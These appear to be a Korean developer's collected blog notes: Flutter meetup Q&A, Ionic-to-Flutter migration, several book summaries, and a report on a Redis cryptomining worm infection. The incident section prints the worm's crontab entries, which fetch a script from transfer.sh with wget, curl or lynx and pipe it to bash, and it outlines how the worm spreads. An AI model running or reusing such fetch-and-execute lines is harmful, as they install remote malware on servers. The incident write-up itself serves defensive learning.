    - 웹의 경우 위젯을 렌더링 하는 방식이 궁금합니다. 만약 Canvas로 다 그린다면 검색엔진에 노출되기 위한 Dom Tree구조는 어떻게 되는가?
        - 우리도 SEO를 고려하고 있다. 절대 플래시처럼은 되지 않게 할거고 true web을 만들거다. 나중에 보면 알게 될거다.
    - 웹 같은 경우 다양한 브라우저에서 전부 테스트 중인지? 현재 사용가능한 수준인지?
        - 그렇다. 현재 99% 정도 됬다.
    - 텍스트 드래그 이슈는 손쉽게 해결이 되는지?
        - 정확히 어떤 점이 이슈인지 모르겠다. 이슈에 등록하면 해결해 주겠다.
    - 만약 안드로이드만, ios만 개발한다고 할때 플러터가 가지는 장, 단점이 있는가?
        - 이럴 경우 특정 플랫폼만 구현하는게 나을듯
        - 어쨌든 Flutter로 해도 생산성은 나쁘지 않다, 핫리로드 기능 같은게 별거 아닌거 같아도 좋음
            - (여담) xcode 안써서 좋다.
- 후기
    - 공간에 비해 참가 인원이 많아 추가 여석까지 만들었다고 한다. 커뮤니티 등에도 언급이 느는 것을 보아 Flutter에 대한 관심이 꾸준히 증가하고 있다는 것을 반증하는 것으로 보인다.
    - 네이티브 통신, 플러그인 관리, 플랫폼 개별 처리 이슈 등은 Flutter가 아닌 크로스플랫폼 자체의 이슈이므로 결국 어쩔수 없는듯 하다.
    - 데이터 관리 방법에 대해선 당연히 언급할 줄 알았는데 안했다. 발표자도 분명히 베스트 프랙티스 관련해서 질문나올 것 같다는 식으로 얘기했는데 질문도 없었다.
    - 기존 레드데이즈 앱 같은 경우 일정 때문에 애니메이션 부분은 신경쓰지 못했는데 Flutter에서 잘 처리해준다고 하니 여유 있으면 적극적으로 도입해보면 좋을 것 같다.
    - 팀 내 개발자들이 안드로이드 진영에서 넘어온 케이스가 많아서 그런지 vscode보다 안드로이드 스튜디오를 선호하는 듯 보였다.

Flutter meetup 참석 후기

## 배경

클래스프렙 재직 시절, 기존 플랫폼이 웹밖에 없던 시절 앱을 급하게 만들어야 할 상황이 온적이 있습니다.
기한은 2-3달 남짓에 개발자는 2명인 상황.

이 일정에 안드로이드와 iOS를 모두 구현하는건 불가능하다고 보아 크로스 플랫폼을 리서칭했습니다.

당시 React Native와 Ionic 중에서 고민하게 되었는데 Ionic 같은 경우 기존의 웹 기술을 이용해 wrapping하여 빠른 러닝커브를 확보할 수 있다고 판단하여 Ionic 프레임워크를 더 리서치하게 되었습니다.

### Ionic 1 vs Ionic 2

Ionic1 프레임워크는 사실상 **AngularJS + Cordova**의 조합인데 문제는 이 당시 Angular 출시와 더불어 Ionic2가 맞춰 나오고 있는 상황이었습니다.

문제는 2가 나온지 얼마 안되어 (당시 rc 버전) 바로 프로덕션에 적용하기엔 무리가 있다고 판단, Ionic 1을 선택했습니다. 그 후 클래스프렙 포함 이직 후에도 이 Ionic을 계속 사용하게 되었습니다.

### 문제는 Cordova Plugin

웹뷰를 wrapping해서 간단한 앱은 만들 수 있지만, native device에 접근하려면 일종의 브릿지가 필요합니다.

Ionic의 기반인 cordova는 js기반의 플러그인들을 이용해 이 둘과 통신하는데, 문제는 이 플러그인이 native(Android, iOS)의 업데이트에 맞춰 같이 업데이트 되야 하는데 따라가지 못할 경우 직접 구현하거나 다른 플러그인을 찾아봐야 한다는 것이었습니다.

업데이트 버전을 찾아도 버전 2에 맞춰저 있어 기존 의 버전 1과는 호환 안되는 케이스가 대다수이다. 특히 cordova 메이저 업데이트를 할 때는 hack 등 우아하지 않은 방법으로 막는 경우가 많았습니다.

### 새 플랫폼 이동의 필요성 : Flutter

그러던 와중 인터넷에서 React native를 뛰어넘는 플랫폼이 뜨고 있다고 해서 우연히 접하게 되었습니다.

기존의 webview 방식도 아닌, React native도 아닌 완전히 새로운 언어와 플랫폼을 google이 내놓은 것이었습니다.

각 native device OS의 rendering layer까지 직접 접근하여 더 최적화된 퍼포먼스를 확보하는 등 장점이 많아 보였습니다. 그리하여 새로 들어가는 "레드데이즈" 모바일 버전을 이 Flutter로 구현하기로 했습니다.

React Native란 선택지도 있었는데 Flutter를 선택한 이유는 둘 다 처음 배우는 입장에서 상대적으로 러닝커브도 낮아보이고 퍼포먼스가 더 높을 것으로 판단했기 때문입니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/flutter1.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/flutter2.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/flutter3.png)

### 이슈

하지만 결국 하이브리드 앱을 깊게 개발하다보면 네이티브와의 연결에서 오는 이슈는 피할 수 없습니다. cordova 에서 plugin이던, flutter에서의 package이던, 이건 하이브리드 앱을 개발하다보면 피할 수 없는 이슈이고 UI쪽 개발에선 확실히 생산성과 퍼포먼스의 이득을 얻었다고 생각합니다.

추가 이슈로는 아직 프레임워크가 자리 잡기 전이라 생각보다 라이브러리들이 빈약했습니다

### 추가 - fastlane을 활용한 배포

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/flutter4.png)

기존에 앱을 배포하던 방식은 안드로이드의 경우 apk, iOS의 경우 ipa 파일을 직접 빌드하여 인하우스 내 배포하여 테스트 후, 추후 실 배포시에 google play, app store에 프로덕션 빌드를 올리는 방식이었습니다.

문제는 수동으로 하다보니 버전을 잘못 지정해 빌드한다던가 최종 버전이 무슨 버전인지 혼선이 빚어지는 등 버전 이슈가 있었고, 작업에 시간도 걸리고 이 업무를 할 수 있는 인원도 한정되었습니다.

그리하여 마침 flutter를 도입하면서 fastlane까지 도입하여 이 과정을 자동화 및 정형화하려는 노력을 했습니다. 그리하여 google play, app store 페이지에 접속하여 수동으로 하던 작업 등을 포함하여 일부 과정들을 커맨드라인에서 수행할 수 있게 되었고, 단순히 파일을 배포하는 것이 아닌 각 플랫폼의 테스트 배포(alpha, testflight) 기능과 일관된 버전 관리 기능을 활용하여 정형화된 빌드 결과물을 배포할 수 있게 되었습니다.

일정 문제로 모든 기능을 활용하진 못했지만 다양한 action들이 있어서 추후 도입하면 빌드 자동화에 더 큰 생산성 향상을 가져올 수 있을 것으로 기대합니다.

하이브리드 앱 프레임워크 : Ionic, Flutter

### 읽게 된 이유

docker, kubernetes에 대해 알아보면서 인프라를 명시적으로 정의해 관리하는 과정을 자연스럽게 접했다. 처음에는 툴이나 튜토리얼을 주먹구구식으로 해보는것이 좋지만, 삽질했던 것들을 정리할 베이스 지식이 궁금하여 이 책을 접하게 되었다.

### 정의

Infrastructure as Code ( 이하 IaC ) - 말그대로 기존의 인프라 셋업 과정을 코드로 관리하는 것을 일컫는 말이다.

IaC는 일반적인 툴이나 프로세스가 아니라 패러다임에 가깝다.

### 왜 등장했는가?

IT 운영관리 쪽의 기존의 과중한 업무를 최근 발달한 기술을 통해 더욱 자동화되고 그 과정에서 나온 패러다임이다.

물론 이러한 방식이 새로 나온 개념은 아니라고 생각한다. 그 전부터도 SE 엔지니어 쪽에서 가상화 등으로 하던 방식이 컨테이너(docker), 클라우드 같은 툴과 기술의 발전으로 진입장벽이 낮아지고, 또한 그에 따라 많은 개발자들이 관심을 가지기 시작했다.

### IaC의 장점?

- 기존의 주먹구구식이 아닌 일관성 있는 관리 가능
- snowflake server 생성 방지
- 인프라 관리도 기존 코드 관리의 장점을 따름 ( 협업, 모듈화, 버전 관리, CI/CD 등 )
- 애플리케이션 개발자도 IT 인프라 담당자를 거치지 않고 원하는 자원을 정의, 프로비저닝 관리 가능

### IaC의 조건

- 멱등적이어야 한다.
- 쉽게 만들 수 있어야 한다. 이렇게 해야 구성을 변경할때 위험 요소와 두려움을 제거해줌
- 시스템은 일회용이다라고 가정하고 쉽게 삭제/교체/재조정 이동이 가능해야 한다. 하드웨어 신뢰성이 보장되지 않을때 필요

> "서버를 애완동물이 아닌 가축처럼 취급하라"
> 

> "신뢰할 수 있는 하드웨어 위에 있는 신뢰할수 없는 소프트웨어" -> "신뢰할 수 없는 하드웨어 위에서 신뢰성 있게 동작하는 소프트웨어"
> 
- 작은 요소라도 일관성이 있어야 한다. 이렇게 해야 자동화를 신뢰할 수 있게된다.
- 절차가 반복가능해야 한다. -> 스크립트 작성
- IaC != 클라우드
- 클라우드랑 공유하는 장단점이 있지만 둘은 다르다.
- IaC는 베어메탈 서버에도 가능함, 물론 클라우드 쪽에서 많이 쓰긴하지만

### 키워드

- snowflake(눈송이) server
    
    재현할 수 없는 서버, "눈처럼 녹아버리는" 서버, 예를 들어 여러 서버를 관리하다보면 일부 서버에만 설정이 변경되어 일관적이지 않은 상태가 되고, 거기에 문서화까지 되어 있지 않아 다른 장비에 os를 새로 인스톨하여 환경을 재현하려 해도 제한이 있는 상황이 있다. 작은 설정이면 문제가 안되겠지만 가능성이 분명히 존재한다.
    

### 후기

이론적인 내용만 나와서 실망했다는 후기 블로그를 봤는데 이해가 간다. 뭔가 나올거 같은 느낌이 들면서도 비슷한 얘기가 반복된다.

사실 전체적으로 개발, CI/CD, 테스트 등 반복적으로 언급된 내용에서 '인프라'를 '코드'으로 바꿔도 문장에 크게 이질감이 없고 또한 그렇게 의도한듯 하다. 결국 인프라라는 것도 코드처럼 생각하라는 뜻이니까.

카페24 호스팅을 사용중이기 때문에 이 책에 등장한 툴들을 적용하는 것은 불가능하고 굳이 하자면 서버 셋업 스크립트 정도는 만들어 유지할 수 있겠다. 물론 이것도 IaC와는 거리가 멀다. 사실 이런 식의 인프라 관리는 특히 클라우드를 사용할때 빛을 발하는 접근 방식이다.

"IaC - 코드로 인프라 관리하기" 후기

발표 목록
- 리팩토링: 루비 에디션 1	2018/01/18	https://www.evernote.com/l/AUEvBpSdvBZInon9H2V05zJUbdilGz_hNo8
- 리팩토링: 루비 에디션 2	2018/03/04	https://www.evernote.com/l/AUHfbIYBp_9HMbL07yPSSjSWnKyY4u-j6ao
- Angular & Ionic 1	2018/04/03	https://www.evernote.com/l/AUHFXVLCk4pFAZDq4mhOJJTt_JsBn7c1-6A
- Angular & Ionic 2	2018/04/18	https://www.evernote.com/l/AUGM3oDkqmVG8o2bJm-ltlbyfHbq6K5PmjE
- Docker를 활용한 서버 셋업	2018/05/05	https://www.evernote.com/l/AUHkJLzKKJhJ34w7aSp3FucqqfLAltw7bmo
- docker-compose		https://www.slideshare.net/secret/xRsYJPSOJvRj63
- kubernetes		https://www.slideshare.net/secret/f1LN7BUKXxdSkD
- 천하제일불편대회	2018/09/07	
- ORM이 최선인가?	2018/12/05	https://www.slideshare.net/secret/3GNxbXByuGhhZx
- REST API	2018/12/05	https://www.slideshare.net/secret/Ngulf88047bdWQ

F9dev 컨퍼런스

## 배경

웹서버와 소켓서버 사이에서 pub/sub으로 중계서버 역할을 하는 redis 서버 셋팅 중 일어난 일이다.

로컬 작업이 번거로워 실서버에 redis 셋팅을 했는데 이렇게 하면 로컬 -> 실서버 redis에 접근을 못한다. 보안 이슈가 많아서 protected-mode 가 기본으로 내장되어 있다고 한다.

[Redis parameter PROTECTED-MODE](http://redisgate.kr/redis/server/protected-mode.php)

stack overflow에는 이 proctected-mode를 끄라고 하여 끈 채로 redis를 데몬에 올려 놓고 주말 내내 노출되어 있었다.

## 사건 발생

그 다음 주에, 푸시가 안되서 보니 crontab 내용이 모두 증발했다. redis 서버도 꺼져 있고,

다시 redis 서버를 키고 몇 분도 지나지 않아 crontab 에 이상한 내용이 write 된 것을 발견했다.

```
REDIS0007ú      redis-ver^F3.2.11ú
redis-bitsÀ@ú^EctimeÂ^Er^B[ú^Hused-memÂÐ<86>^K^@þ^@û^C^@^@^GBackup2@R
*/5 * * * * wget -O .cmd https://transfer.sh/OpXVz/tmp.NvSpnTSrQR && bash .cmd
        ^@^GBackup3@Z
*/10 * * * * lynx -source https://transfer.sh/OpXVz/tmp.NvSpnTSrQR > .cmd && bash .cmd
        ^@^GBackup1@T
*/2 * * * * curl -s https://transfer.sh/OpXVz/tmp.NvSpnTSrQR > .cmd && bash .cmd
        ÿøG-ó<83>l:â
```

무언가 redis가 관련된 것 같은데 확실한 정보가 없다.

정작 저 파일들을 내려받는 경로로 가보면 아무것도 없다고 한다. 느낌이 이상해서 찾아보니 일종의 worm 에 감염된 것이었다.

## Mining worm

[https://isc.sans.edu/forums/diary/Anatomy+of+a+Redis+mining+worm/23673/](https://isc.sans.edu/forums/diary/Anatomy+of+a+Redis+mining+worm/23673/)

결론은 코인채굴이 목적이며 그 이상의 악성 행위는 없다고는 한다. 위 문서에 따른 일어날 수도 있었던 증상이다 

- 기존 mutex 삭제 후 worm이 사용할 mutex를 추가한다. 같은 스크립트에서 인스턴스를 여러개 돌리는 걸 방지
- trap handler를 조작하여, 스크립트 종료시 모든 스크립트 파일을 제거한다.
- SELinux 비활성화
- crontab 내용 제거, 여기에 worm을 설치하는 코드가 삽입되어 있었기 때문에 흔적을 지우는 목적으로 추정된다.
    - 왜 때문인지는 몰라도 무언가와 충돌하여 원래 지워졌어야 할 crontab 내용이 남겨진 것으로 추정된다. 그래서 이상 여부를 바로 의심할 수 있엇다.
- 네임서버 목록에 구글 네임서버(8.8.8.8) 추가
- 파일/프로세스 security limit 갱신
- 외부 접근 비활성화, loopback 활성화
- 경쟁 miner 프로세스, 스크립트 제거
- redis 클라이언트 등 tool 설치
- pnscan 설치 및 빌드, 사실 이건 바이러스 검사 용도인데 여기선 추가 대상 서버를 찾는 용도로 사용
- cryptominer( 채굴 프로그램 ) binary 설치 후 transfer.sh에 다시 업로드
- 채굴 프로그램을 .gpg로 이름 변경후 실행
- 스크립트를 변경하여 버티는 기간을 늘린다.
- 서브넷에 있는 다른 오픈된 redis 서버를 찾아다님 ( 1.0.0.0/16 ~ 224.255.0.0/16 )
- redis 클라이언트를 이용 감지된 다른 redis 서버에 전파
- /tmp 디렉토리 내 파일, 캐시, bash history, log, mail spool 제거, 흔적 제거 용도로 추정
- 위 과정 반복 및 흔적 제거

## 결론

다행히 큰 사고로 이어지지는 않았고, 복구 작업도 많지 않아 이런 일도 있을 수 있구나 하는 해프닝으로 종료되었다.

잠깐이면 되겠지라는 안일함으로 인하여 일어난 보안 이슈였으며, redis는 간편하고 빠른만큼 brute-force를 활용한 보안을 신경써야 한다는 점을 비교적 적은 수업비를 통해 배웠다.

redis mining worm

- 논리적 데이터베이스 설계 안티패턴
    - 무단횡단
        - 관련된 값의 집합을 한 칼럼에 저장할때, 여러 데이터를 쉼표 등으로 구별해서 넣지말고 다대다 테이블을 생성하라.
        - **당연한 말이다. 제 1 정규화 조건이기도하다. 단, 추가적으로 다대다 테이블에 연결된 데이터들이 리스트 쿼리에 나가야만 하는 경우에는 캐싱 역할을 하는 필드가 필요한 경우도 있다. 리스트 내에 서브쿼리는 더 안좋은 안티패턴이기 때문에.**
    - 순진한 트리
        - 트리 형태의 데이터를 저장할 때는 parent_id 대신 다른 방법을 쓰자.
        - **아직 복잡한 트리형태의 데이터를 다루지 않기 때문에 계층구조는 parent_id를 통해 설계하고 있다.**
    - 아이디가 필요해
        - 모든 테이블에 id 컬럼을 넣는 것은 안티패턴이다. bugs 테이블이라면 bug_id 형태로 지어라.
        - **공감하지 않는다. id 필드가 혼란을 야기할지는 잘 모르겠다. 오히려 코드를 작성할 때 bugs.bug_id 식으로 작성하게 될텐데 의미의 중복이 발생하고 다른 테이블에서 조인시에 alias로 구별해도 충분하다고 생각한다.**
    - 키가 없는 엔트리
        - FK를 사용하라. 그렇지 않을 시 검증 코드를 추가 작성하는 책임이 필요하다.
        - **데이터의 무결성 차원에서는 당연히 추가해야 하는게 맞지만, 오히려 개발 & 테스트 중 제약이 많아져 생산성이 저하되는 점도 무시할 수 없다. 검증 코드 등은 단위 테스트로 커버 가능하다. 케이스마다 다르겠지만 내가 거쳐온 프로젝트에서는 FK를 걸지 않았고 그로 인한 큰 문제를 겪어본 적은 없다. 큰 프로젝트에서는 얘기가 다르겠지만. 상황에 맞춰 적용하는게 좋을듯.**
    - 엔티티-속성-값
    - 다형성 연관
        - 이중 목적의 FK가 필요한 경우는 설계를 다시 생각해봐라.
    - 다중 칼럼 속성
        - 다중 값 속성 저장 이슈. 속성이 한테이블에 들어가야 할 것처럼 보이는데 여러개의 값을 가지는 경우
        - ex) Bugs 테이블 안에 tag1, tag2, tag3 필드 나열 대신 종속 테이블을 생성 ( bug_id를 가지는 Tags 테이블 )
        - **당연한 케이스. 저 동적인 필드 수가 고정인게 보장되지 않는 이상 테이블을 추가하는게 맞다고 생각한다.**
    - 메타데이터 트러블
        - 데이터가 커질 시에 값으로 들어갈 걸 테이블 이름에 넣고 하지 말고 ( Bugs_2009, Bugs_2010 ...) 파티션을 해라.
- 물리적 데이터베이스 설계 안티패턴
    - 반올림 오류
        - FLOAT, DOUBLE 등 대신 NUMERIC, DECIMAL 타입을 사용해라. 이게 더 정확하니까.
    - 31가지 맛
        - 컬럼의 값이 고정된 집합 내에서 나와야 할때 CHECK 제약조건을 쓰는대신 인덱스 테이블을 만들어서 참조하게 하라.
        - **집합이 동적인 경우는 당연히 테이블을 따로 뽑아야겠지만, 집합이 명확하다면 ( 성별 등 ) 그럴 필요는 없을듯**
    - 유령파일
        - 파일을 저장할때 path만 저장하지 말고 blob으로 저장해라. 삭제가 되지 않고 쌓이는 파일이 생기기 때문.
        - **그렇다고 blob을 쓰는 건 좀....**
    - 인덱스 샷건
        - 인덱스를 적절히 사용해라. 그렇다고 불충분하게 많이 할 필요는 없다.
        - **where 절에 걸리는 필드 등은 전부 건다고 생각해도 좋을듯 하다. 불충분하게 많이 거는게 안거는 것보단 낫다.**
- 쿼리 안티패턴
    - 모르는 것에 대한 두려움
        - null은 사용하지 말자.
        - **그래서 모든 필드는 not null로 사용하고 있다. outer join 등으로 빈 필드가 나올 경우는 제외하고는 모두.**
    - 애매한 그룹
    - 임의(random)의 선택
    - 가난한 자의 검색 엔진
        - 텍스트 검색 시 LIKE '%text%' 대신 다른 방법을 알아봐라. 풀텍스트 인덱싱 등.
    - 스파게티 쿼리
        - 한 쿼리로 안되겠다 싶으면 어러 쿼리로 나눠라.
    - 암묵적 칼럼
        - select 시 컬럼명을 지정하고 와일드카드(*)를 피해라.
- 애플리케이션 개발 안티패턴
    - 읽을 수 있는 패스워드
        - **패스워드는 평문이나 복호화 가능한 값으로 저장하면 안된다. 당연**
    - SQL 인젝션
        - **이것도 보안의 기초 체크사항이므로 생략**
    - 가상키 편집증
        - id 값의 빈틈을 채우려는 순간 문제가 터지기 시작하므로 하지 말자.
        - **이런 경우가 있을려나**
    - 나쁜 것 안 보기
        - SQL 작성 시 에러 코드 추가의 필요성
    - 외교적 면책특권
        - SQL도 코드처럼 문서화 테스트, 소스 코드 관리와 같은 것이 필요하다.
    - 마법의 콩
        - MVC, 모델을 단순히 데이터 접근 객체로 취급하면, 비즈니스 로직이 모델 외부인 컨트롤러 클래스에 걸쳐 존재하게 되고 모델 동작의 응집도가 낮아짐 ( Anamic Domain Model )

"SQL 안티패턴" 내용 요약

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/hacker01.jpg)

- 공부벌레는 왜 인기가 없을까
    - 그들은 게임판 위의 말에는 관심이 없다.
- 해커와 화가
    - '해커'와 '엔지니어', '과학자'등 보다는 오히려 화가 등 창조적인 직업과 공통점이 많다.
- 우리가 말할 수 없는 것
    - 쉽게 생각할 수 없는 것(파격적) 을 생각할 수 있도록 자신을 훈련시켜라. 그러한 생각을 자유자재로 할 수 있다면 흔히 혁신이라고 불리는 수준의 미미한 파격을 시도하는 것은 문제도 아닐 것이다.
    - 현재의 '유행', '터부' 등 지나서 보면 보이지만 현재는 보기 힘든 것들이 있다. 이러한 흐름을 거리를 두고 객관적으로 보는 노력을 해봐라.
- 모범적인 '불량 태도'
- 또 하나의 길
    - 데스크탑 -> 웹의 장점
        - 사용자 입장에서 사용 시 신경써야 할 것들이 줄어든다.
        - 릴리즈, 버전 개념이 따로 존재하지 않는다. 버그를 일찍 잡을 수 있다.
        - 에러를 쉽게 재현할 수 있으므로 고객 지원도 쉽다.
        - 즉각적으로 릴리즈가 가능하므로 개선하고 싶은 부분은 바로 실천 가능
        - 데스크탑 애플리케이션 개발은 결국 윈도우에게 도움을 줌, 웹은 유닉스에서 동작하는 소프트웨어가 곧 사용자에게 전달
- 부자가 되는 법 / 차이에 대한 연구
    - 스타트업은 개체 수로 승부하는 모기와 같다.
    - 돈이 아니라 부를 창출해라. 부는 일정한 분량이 있는 것이 아니기 때문에 한 쪽에서 부를 창출한다고 다른 쪽 부가 적어지지 않는다. 돈은 부와 교환할 수 있는 매개체일 뿐이다.
    - 물론 100배의 돈을 받는다고 100배의 가치가 있는 것은 아니다. 하지만 스티브 잡스를 아무렇게나 선택된 100명의 사람들로 교체되면 애플의 다음 제품은 어떻게 될까? 차이는 애초에 선형으로 벌어지는게 아니다. 자유 시장에서 가격은 구매자가 원하는 바에 따라서 결정된다.
- 스팸을 위한 계획
    - 스팸을 필터링 하는 법...
- 창조자의 심미적 취향
    - 좋은 디자인은 시간에 구애받지 않는다. 미래의 세대에게 통하는 어떤걸 만드려면 이전 세대에게도 통할 만한 것을 만들어야 한다.
    - 좋은 디자인은 제대로 된 문제를 해결한다.
    - 좋은 디자인은 무언가를 제안한다. 마치 레고처럼
    - 좋은 디자인은 조금 우습기도 하다. 유머감각이 있다는 것은 힘과 확신이 있다는 것
    - 좋은 디자인은 어렵다. 하지만 좋은 디자인은 간단해 보인다.
    - 좋은 디자인은 대칭을 이용한다.
    - 좋은 디자인은 자연을 닮았다. 자연을 흉내내는 것은 공학에서도 통하는 방법이다.
    - 좋은 디자인은 무언가를 다시 디자인하는 것이다. 작품을 내다 버리는 것은 확신을 요구하고, 불만족이 가진 뿌리를 깊이 파고드는 것이다.
    - 좋은 디자인은 복사가 가능하다.
    - 좋은 디자인은 이상할 때도 있다. 기묘한 경향이 엿보이기 시작했을 때 억누르지 않는다.
    - 좋은 디자인은 뛰어난 사람들의 모임에서 나온다. 15세기 피렌체처럼.
    - 좋은 디자인은 종종 대담하다.
- 프로그래밍 언어에 대한 설명
    - 언어의 전쟁
        - 정적/동적 타이핑 -> 정답은 없다.
        - 객체지향 -> 도입 정도의 차이
    - 현대 시대는 프로그래밍 언어의 르네상스
- 100년 후의 프로그래밍 언어
    - 100년 뒤는 컴퓨터가 어떻게 만들어지는 지금보다 훨씬 빠르게 작동할 것. 속도보다는 편리한 언어가 대세가 될 가능성이 높다.
- 평균 뛰어넘기
    - 스타트업은 그저 그런 평균정도 하면 무조건 망한다.
    - 다른 회사에서 C로 이용해 개발할 때 대신 리스프를 도입한 사례 소개
- 공부벌레의 역습
    - LISP가 좋다.
- **꿈의 언어**
    - 성공한 언어는 어떤 장점을 지녔나 보다는 해커들이 좋아하냐에 달렸다
    - 엉뚱한 짓을 막는 건 뻔뻔한 생각이다. 무능한 사람은 어떤 경우라도 제 발등에 도끼를 찍는다.
    - 깨끗하면서 더러워야 한다. 쉽게 이해되는 핵심과 그에 상응하는 연산자 등 깔끔하게 설계되어야 하지만, 그와 동시에 해커들이 마음껏 가지고 놀 수 있을 만큼 적당히 지저분하기도 해야한다.
    - 언어가 '일회용 프로그램'을 만들기 적합해야 한다. 역설적이지만 큰 프로그램에 적절한 언어를 만들고 싶으면 먼저 일회용 프로그램을 작성할때 알맞은 프로그램을 만들 필요가 있다.
    - 빠르게 작성 후 최적화하고 싶으면 관심을 어느 곳에 집중해야 하는지 알려주는 훌륭한 프로파일러가 존재한다. 원한다면 인라인 바이트코드도 작성 가능.
    - 정적/동적 타입, 객체적/기능적이 중요한게 아니라 훌륭한 라이브러리를 어떻게 작성할 수 있냐 에 달렸다.
    - 빠른 속도는 물론 중요하다. 하지만 속도라는 것은 일부 중요한 병목 지점에서만 문제가 될 뿐이다.
    - 엔드 유저가 느끼는 속도의 본질은 상황에 따라 변할 수 있다. 서버 기반 애플리케이션이 대세가 되어감에 따라 I/O가 중요해지는 등.
    - 설계시 초보의 확신과 베테랑이 품는 회의감을 동시에 가지고 있어야 한다.
    - 반드시 그래야 할 필요가 없는데 숨어 있는 내용은 없다. 추상화는 오로지 당신의 일을 절약해 주기 위한 목적으로만 제공한다.
- 디자인과 연구
    - 디자인은 좀 더 사용자에게 관심을 기울인다. 사용자에게 부응한다는 것이 사용자가 말하는대로 따라한다는 건 아니다. 사용자는 대개 잘 알지 못하므로, 환자가 아픈 증상을 말하면 무엇이 잘못됬는지 알아내는 의사처럼 접근해야 한다.
    - 목표로 삼은 사용자 안에 자신이 포함되어 있으면 좋은 디자인이 나온다. 예를 들어 C, 리스프는 설계자들이 직접 사용하려고 만든 언어이다. 이에 비해 자바 등은 다른 사람 더러 사용하라고 만든 언어다. 당신이 바보를 위해서 무언가를 만들면 바보도 사용못하는 작품이 나온다.
    - 프로그래밍 언어도 결국 사람을 위한 것. 언어라는 것이 완성된 프로그램을 위한 형식이 아니라, 프로그램 자체가 그 언어를 이용해서 사고하고 개발된다.
    - 프로토타입을 빠르게 만든 후 수정하라는 원리는 사실 예술에서 따왔다. 제대로 된 큰 윤곽을 빠르게 대충 그린 다음 이 스케치를 천천히 다듬는다. "화가가 작품을 완성하는 경우는 없다. 단지 그는 작업을 멈출 뿐이다."

"해커와 화가" 내용 요약

## 서론

이 책을 접할 때 마침 개인적으로 ruby(정확히는 rails를 위한 ruby) 공부를 하고 있었고,

또한 리팩토링 책도 유명하긴 하지만 java 기반으로 알고 있었는데, 루비 기반으로 된 책이면 둘 다 접할 기회라 생각하여 읽게 되었다.

## 구성

크게 리팩토링이 무엇인지, 왜 쓰는지, 언제 써야 하는지 등 개요가 나오고 단위 테스트 잠깐 소개, 그 이후는 열거 방식으로 나열되어 있다. 

현재 열거 부분 첫 챕터인 메서드 정리 부분까지 본 상태인데, 아직 초반이라 그런지 그 전부터 체득된 패턴들이 많이 나와서 익숙했다.

뒷 부분에는 클래스 추출 등 데이터 설계까지 고려하는 부분이 나오는 것 같은데 읽어봐야 알 것 같다.

메서드 챕터 부분은 메서드를 리팩토링하면서 접할 수 있는 모듈화, 메서드 내 파라미터 등을 어떻게 처리할지 등에 대한 사례들 있는데 사실 이런 과정들은 경험에 의해 체득됬었지, 이렇게 패턴별로 나열해서 생각해본적은 없었던 것 같다.

죽 보면서 이렇게 이 때는 이런게 필요하겠다 하는 식으로 정리해서 내 것으로 가지고 있으면 언젠간 도움이 될 거 같다.


## ruby

oop, 동적 타입, 스크립트 언어 ( +함수형 프로그래밍 )

사실 ruby는 큰 기대를 안하고 rails 공부를 위해 접했는데, 신선한 면이 많은 언어였다.

특히 컬렉션을 다루는 enumerable 메서드들이 편리한게 많다.

```ruby
arr = (1...4).select { |x| x % 2 == 0 }
# => [2]
```

최근 애용하고 있는 [lodash](http://www.lodash.com)에도 이러한 컬렉션 메서드들이 꽤 있다.

그 외 매개변수가 아닌 코드 블럭 자체를 파라미터로 넘기는 등 접할 땐 당황스럽지만 편리한 기능들이 있었다.

## 리팩토링

Chap 7: 객체 간의 기능 이동

- Move Method
  - 메서드가 자신이 속한 클래스보다 다른 클래스의 기능을 더 많이 이용할 경우 그 클래스로 메서드 이동
- Move FIeld
  - 필드가 자신이 속한 클래스보다 다른 클래스에서 더 많이 사용될 경우 그 클래스로 필드 이동
- Extract Class <-> Inline Class
  - 클래스 분리/합침
	- Hide Delegate ( 대리 객체 은폐 ) <-> Remove Middle Man ( 과잉 중개자 제거 )
		- 객체 내 메서드에서 내부 객체 메서드를 콜하는 상황일때 Forwardable 모듈을 이용 위임하라는 내용인데 루비 한정으로 보여짐
		- 굳이 다른 언어에서 구현하려면 랩핑하는 메서드를 추가하는 정도

Chap 8: 데이터 체계화
- Self Encapsulate Field
  - indirect/direct vailable access
  - 필드를 직접 접근하지 말고 getter/setter 역할을 하는 메서드를 사용하라는 내용
  - oop에서 당연히 필요한 요소로 생각했으나 반대의 입장도 있는 듯
- Replace Data Value with Object
  - 한 필드가 단순 데이터에서 복잡한 데이터를 표현해야 할 경우 그 필드를 객체로 전환
- Change Value to Reference <-> Reference to Value
- Replace Array with Object
  - row = [ Liverpool, 15 ] => row.name = "Liverpool"; row.wins = "15"
  - 이런 식으로 다른 타입의 데이터들을 나열해서 넣는 케이스가 흔하지는 않은 것 같다.
- Replace Hash with Object
- Change Unidirectional Association to Bidirectional <-> Bi to Uni
  - 두 클래스가 서로의 기능을 공유할때 참조/연결되게끔 메서드를 작성
  - 혹은 반대로 종속성/버그발생 증가를 막기 위해 연결을 푸는 경우도 있다.
- Replace Magic Number with Symbolic Constant
  - 특수한 의미가 있는 상수는 상수명을 명시해준다.
- Encapsulate Collection
  - 컬렉션은 일반 데이터와 달리 반환할 때 사본을 반환하는 것이 좋다. 데이터 조작 가능성이 있기 때문에.
  - 컬렉션을 바로 set 하는 대신 컬렉션 아이템을 add/remove하는 메서드를 작성
- Replace Type Code with Polymorphism/Module Extension/State/Strategy
  - 타입 코드가 클래스의 기능에 영향을 미칠때 -> 메서드 내에서 조건 분기를 시키는 대신 module으로 재정의/확장해 사용
- Replace Subclass with Fields
  - 상수 데이터만 반환하는 하위클래스들이 있을 경우 상위클래스 필드로 합침
  - Person, Male, Female
  - 이런 케이스도 설계가 매우 잘못되지 않는 이상 보기 힘든 케이스로 보임
- Lazily Initialized Attrtibute <-> Eagerly Initalized Attribute
  - 초기화를 접근 시 해야 하는가? <-> 생성 시 해야 하는가?
  - 접근 시 하는 경우
    - 초기화해야할 필드가 많아져도 가독성 유지 가능
  - 생성 시 하는 경우
    - 초기화 로직이 생성자 안에 캡슐화됨
    - 값 질의 시 일관된 결과 / 디버깅 시 문제 가능성 없음

Chap 9: 조건문 간결화
- Decompose Conditional
  - 읽기에 복잡한 조건문은 메서드로 따로 뺌
- Recompose Conditional
